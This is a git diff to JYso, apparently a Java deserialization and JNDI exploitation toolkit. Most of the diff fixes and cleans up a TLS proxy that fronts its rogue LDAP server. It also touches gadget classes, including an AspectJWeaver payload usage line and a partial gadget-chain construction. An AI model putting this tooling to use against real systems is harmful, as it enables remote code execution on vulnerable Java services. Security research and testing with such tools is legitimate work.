diff --git a/src/main/java/com/qi4l/JYso/LdapServer.java b/src/main/java/com/qi4l/JYso/LdapServer.java
index 2558764..d937b61 100644
--- a/src/main/java/com/qi4l/JYso/LdapServer.java
+++ b/src/main/java/com/qi4l/JYso/LdapServer.java
@@ -59,6 +59,7 @@ public class LdapServer extends InMemoryOperationInterceptor {
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
+
if (!USER.equals("") || !PASSWD.equals("")) {
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
}
diff --git a/src/main/java/com/qi4l/JYso/TLSProxy.java b/src/main/java/com/qi4l/JYso/TLSProxy.java
index 05134c6..d6ff96a 100644
--- a/src/main/java/com/qi4l/JYso/TLSProxy.java
+++ b/src/main/java/com/qi4l/JYso/TLSProxy.java
@@ -1,37 +1,33 @@
package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.Config;
-
import javax.net.ssl.*;
-import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
+import java.nio.file.Files;
+import java.nio.file.Paths;
import java.security.KeyStore;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
-
import static org.fusesource.jansi.Ansi.ansi;
public class TLSProxy {
private final String localAddr;
private final String remoteAddr;
private final String certFile;
- private final String keyFile;
- public TLSProxy(String localAddr, String remoteAddr, String certFile, String keyFile) {
+ public TLSProxy(String localAddr, String remoteAddr, String certFile) {
this.localAddr = localAddr;
this.remoteAddr = remoteAddr;
this.certFile = certFile;
- this.keyFile = keyFile;
}
public static void start() {
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "..."));
-
- new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run();
+ new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile).run();
}
public void run() {
@@ -44,13 +40,10 @@ public class TLSProxy {
try (SSLServerSocket serverSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket()) {
String[] addressParts = localAddr.split(":");
serverSocket.bind(new InetSocketAddress(addressParts[0], Integer.parseInt(addressParts[1])));
- //System.out.println("TLS Proxy started on " + localAddr);
ExecutorService executorService = Executors.newCachedThreadPool();
-
while (true) {
SSLSocket clientSocket = (SSLSocket) serverSocket.accept();
- //System.out.println("New connection from " + clientSocket.getRemoteSocketAddress());
executorService.submit(() -> handleConnection(clientSocket));
}
} catch (IOException e) {
@@ -60,16 +53,15 @@ public class TLSProxy {
private SSLServerSocketFactory createSSLServerSocketFactory() {
try {
- SSLContext sslContext = SSLContext.getInstance("TLS");
+ SSLContext sslContext = SSLContext.getInstance("TLS");
KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
- KeyStore keyStore = KeyStore.getInstance("JKS");
+ KeyStore keyStore = KeyStore.getInstance("JKS");
- try (InputStream keyInput = new FileInputStream(certFile)) {
+ try (InputStream keyInput = Files.newInputStream(Paths.get(certFile))) {
keyStore.load(keyInput, Config.keyPass.toCharArray());
}
keyManagerFactory.init(keyStore, Config.keyPass.toCharArray());
-
sslContext.init(keyManagerFactory.getKeyManagers(), null, null);
return sslContext.getServerSocketFactory();
} catch (Exception e) {
@@ -79,40 +71,105 @@ public class TLSProxy {
}
private void handleConnection(SSLSocket clientSocket) {
- String[] addressParts = localAddr.split(":");
- try (Socket remoteSocket = new Socket(addressParts[0], Integer.parseInt(addressParts[1]))) {
- System.out.println("Connected to " + remoteAddr);
+ String[] remoteAddressParts = remoteAddr.split(":");
+ Socket remoteSocket = null;
+
+ try {
+ // 修复:使用 remoteAddr 而不是 localAddr
+ remoteSocket = new Socket(remoteAddressParts[0], Integer.parseInt(remoteAddressParts[1]));
+
ExecutorService executorService = Executors.newCachedThreadPool();
- //executorService.submit(() -> {
- // try {
- // forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream());
- // } catch (IOException e) {
- // throw new RuntimeException(e);
- // }
- //});
- //executorService.submit(() -> {
- // try {
- // forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream());
- // } catch (IOException e) {
- // throw new RuntimeException(e);
- // }
- //});
+ // 使用标志跟踪连接状态
+ final boolean[] connectionClosed = {false};
+
+ Socket finalRemoteSocket1 = remoteSocket;
+ executorService.submit(() -> {
+ try {
+ forwardData(clientSocket.getInputStream(), finalRemoteSocket1.getOutputStream());
+ } catch (IOException e) {
+ // 正常关闭连接时可能会抛出异常,不打印堆栈跟踪
+ if (!connectionClosed[0]) {
+ System.err.println("Client to remote error: " + e.getMessage());
+ }
+ } finally {
+ closeConnection(clientSocket, finalRemoteSocket1, connectionClosed);
+ }
+ });
+
+ Socket finalRemoteSocket = remoteSocket;
+ executorService.submit(() -> {
+ try {
+ forwardData(finalRemoteSocket.getInputStream(), clientSocket.getOutputStream());
+ } catch (IOException e) {
+ // 正常关闭连接时可能会抛出异常,不打印堆栈跟踪
+ if (!connectionClosed[0]) {
+ System.err.println("Remote to client error: " + e.getMessage());
+ }
+ } finally {
+ closeConnection(clientSocket, finalRemoteSocket, connectionClosed);
+ }
+ });
+
} catch (IOException e) {
- e.printStackTrace();
+ System.err.println("Connection error: " + e.getMessage());
+ if (remoteSocket != null) {
+ try {
+ remoteSocket.close();
+ } catch (IOException ex) {
+ // 忽略关闭异常
+ }
+ }
+ try {
+ clientSocket.close();
+ } catch (IOException ex) {
+ // 忽略关闭异常
+ }
}
}
- private void forwardData(InputStream input, OutputStream output) {
+ private void forwardData(InputStream input, OutputStream output) throws IOException {
+ byte[] buffer = new byte[8192];
+ int bytesRead;
+
try {
- byte[] buffer = new byte[8192];
- int bytesRead;
while ((bytesRead = input.read(buffer)) != -1) {
output.write(buffer, 0, bytesRead);
output.flush();
}
- } catch (IOException e) {
- e.printStackTrace();
+ } finally {
+ // 当读取结束时,关闭输出流
+ try {
+ output.close();
+ } catch (IOException e) {
+ // 忽略关闭异常
+ }
}
}
-}
+
+ private void closeConnection(SSLSocket clientSocket, Socket remoteSocket, boolean[] connectionClosed) {
+ // 使用标志确保连接只关闭一次
+ if (connectionClosed[0]) {
+ return;
+ }
+ connectionClosed[0] = true;
+
+ // 关闭远程连接
+ if (remoteSocket != null && !remoteSocket.isClosed()) {
+ try {
+ remoteSocket.close();
+ } catch (IOException e) {
+ // 忽略关闭异常
+ }
+ }
+
+ // 关闭客户端连接
+ if (clientSocket != null && !clientSocket.isClosed()) {
+ try {
+ clientSocket.close();
+ } catch (IOException e) {
+ // 忽略关闭异常
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java
index 69fa904..9cc0659 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java
@@ -34,7 +34,7 @@ import java.util.Map;
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
*
* More information:
- * https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
+ * ...
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@@ -60,7 +60,7 @@ public class AspectJWeaver implements ObjectPayload {
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("QI4L");
- Field f = null;
+ Field f;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java
index 5265576..eca05ee 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java
@@ -1,5 +1,6 @@
package com.qi4l.JYso.gadgets;
+import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.rowset.JdbcRowSetImpl;
@@ -9,6 +10,7 @@ import java.math.BigInteger;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
+@Authors({Authors.QI4L})
public class CommonsBeanutilsJNDI implements ObjectPayload